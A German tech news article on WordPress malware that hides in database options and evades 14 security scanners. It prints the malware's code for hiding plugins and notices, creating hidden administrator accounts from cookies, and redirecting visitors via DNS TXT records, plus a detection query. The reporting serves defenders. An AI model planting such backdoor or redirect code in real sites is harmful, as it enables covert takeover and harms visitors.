Eine neue WordPress-Malware hat es geschafft, sich vor 14 der größten Security-Plugins zu verstecken – mit weitreichendem Zugriff.
Ein User berichtet auf Reddit von einer neuen Malware-Art, über die die Person gestolpert ist. Diese hat es geschafft, vor 14 der mitunter bekanntesten und größten Sicherheits-Plugins unentdeckt zu bleiben.
Dabei ist die Malware perfide vorgegangen und hat sich in einer Weise eingenistet, die bisher nicht bekannt war. Wie das geschah, haben wir uns angeguckt.
Keiner der großen Security-Scanner hat angeschlagen
Wie kam es zur Infektion? Wie der User auf Reddit berichtet, hat er die Infektion auf mehreren WordPress-Webseiten gefunden, die von ihm betreut werden. Dabei kam die Malware wohl über schwache Passwörter, die kompromittiert wurden.
Welche Security-Plugins haben die Malware nicht entdeckt? Die folgenden Security-Plugins und -Scanner wurden vom User aufgelistet. Sie alle haben die Malware nicht entdeckt. Dies spricht nicht unbedingt gegen die Plugins, sondern für die neuartige Weise, auf die die Malware sich eingenistet hat und vorgegangen ist.
- Wordfence
- Sucuri SiteCheck
- MalCare
- iThemes Security
- All In One WP Security & Firewall
- WPScan
- Anti-Malware Security (von Eli/GOTMLS.NET)
- SecuPress
- Quttera Web Malware Scanner
- Exploit Scanner
- WPCore Scan
- WP Cerber Security
- ClamAV
Malware nistet sich unerkannt in Datenbank ein
Wo hat sich die Malware eingenistet? Die Malware hat sich in der WordPress-Datenbank eingenistet. Hierzu wurden Einträge wie wpcode_snippets
genutzt, die von Plugins erstellt werden, durch die User zusätzlichen Code in ihrer Seite einfügen können.
Zudem wurden die WordPress-eigenen Einträge siteurl
, home
und redirection_options
befallen.
Plugins und Benachrichtigungen wurden versteckt
Wie konnte die Malware sich verstecken? Die Malware hat innerhalb des Admin-Panels sicherheitsrelevante Plugins (und auch das Plugin „Code Snippets“) ebenso ausgeblendet, wie Plugins, die von der Malware befallen wurden.
Gleichzeitig wurden von der Malware kritische Benachrichtigungen, über die ein Admin über die Prozesse informiert worden wäre, ausgeblendet. Dies wurde mit dem folgenden Code-Snippet realisiert:
if (current_user_can('administrator') && !array_key_exists('show_all', $_GET)) {
add_action('admin_print_scripts', function () {
echo '<style>';
echo '#toplevel_page_wpcode { display: none; }';
echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }';
echo '#wpcode-notice-global-review_request { display: none; }';
echo '</style>';
});
add_filter('all_plugins', function ($plugins) {
unset($plugins['insert-headers-and-footers/ihaf.php']);
return $plugins;
});
}
Erzeugung von geheimen Admin-Usern
Gleichzeitig hat das Plugin Daten aus Cookies ausgelesen, um daraufhin unsichtbare User mit Admin-Rechten in die Datenbank zu schreiben. Auch für diese Methode gibt der Ersteller des Beitrags ein Code-Snippet mit, welches benutzt wurde.
if (!empty($_pwsa) && _gcookie('pw') === $_pwsa) {
switch (_gcookie('c')) {
case 'au':
$u = _gcookie('u');
$p = _gcookie('p');
$e = _gcookie('e');
if ($u && $p && $e && !username_exists($u)) {
$user_id = wp_create_user($u, $p, $e);
$user = new WP_User($user_id);
$user->set_role('administrator');
}
break;
}
}
Gäste wurden auf bösartige Webseiten weitergeleitet
Die Malware hat zudem Gäste der Seite, die nicht eingeloggt waren, oder User mit speziellen IP-Adressen mithilfe von DNS-Records auf bösartige Webseiten weitergeleitet.
Dabei hat die Malware die IPS getrackt und dafür gesorgt, dass ein und dieselbe IP-Adresse nur einmal innerhalb von 24 Stunden weitergeleitet wurde. Dies könnte geschehen sein, damit die Gefahr entdeckt zu werden, verringert wird.
Der Code, den der Schädling hierfür benutzt hat, sieht wie folgt aus:
function _red() {
if (is_user_logged_in()) {
return;
}
$ip = _user_ip();
if (!$ip) {
return;
}
$req = 'malicious-domain.com'; // Example of malicious domain being resolved
$s = dns_get_record($req, DNS_TXT);
if (is_array($s) && !empty($s)) {
$redirect_url = base64_decode($s[0]['txt']);
if (substr($redirect_url, 0, 4) === 'http') {
wp_redirect($redirect_url);
exit;
}
}
}
Wie kann die Malware gefunden werden?
Der User erklärt, dass sie selbstständig ihre Datenbanken der WordPress-Installationen geprüft haben, um die Infektionen aufzuspüren. Dafür gibt er auch den Query mit, den er dafür benutzt hat.
SELECT option_name, option_value
FROM wp_options
WHERE option_name IN ('siteurl', 'home', 'wpcode_snippets', 'wpseo', 'redirection_options')
AND (option_value LIKE '%<script%'
OR option_value LIKE '%eval%'
OR option_value LIKE '%base64_decode%'
OR option_value LIKE '%document.write%');
Zudem hat der Ersteller des Beitrags ein eigenes Scanner-Script geschrieben, mit dessen Hilfe WordPress-Admins ihre Installationen auf solch eine Infektion scannen können. Das Skript ist in seinem Beitrag auf Reddit verlinkt.
Wie der User angibt, hat er auch bereits selbst Kontakt zu einigen Entwicklern der Sicherheits-Plugins Kontakt aufgenommen und steht im Austausch mit ihnen.
Wie dieser Fall erneut zeigt, ist die Verwendung von starken Passwörtern nach wie vor ein wichtiger Punkt in der Sicherheit von WordPress-Seiten und ein gern genutzter Angriffsvektor. Dies ist jedoch nur ein Punkt, der zu den Best Practices für WordPress-Seiten zählt und denen nicht genug Beachtung geschenkt werden kann.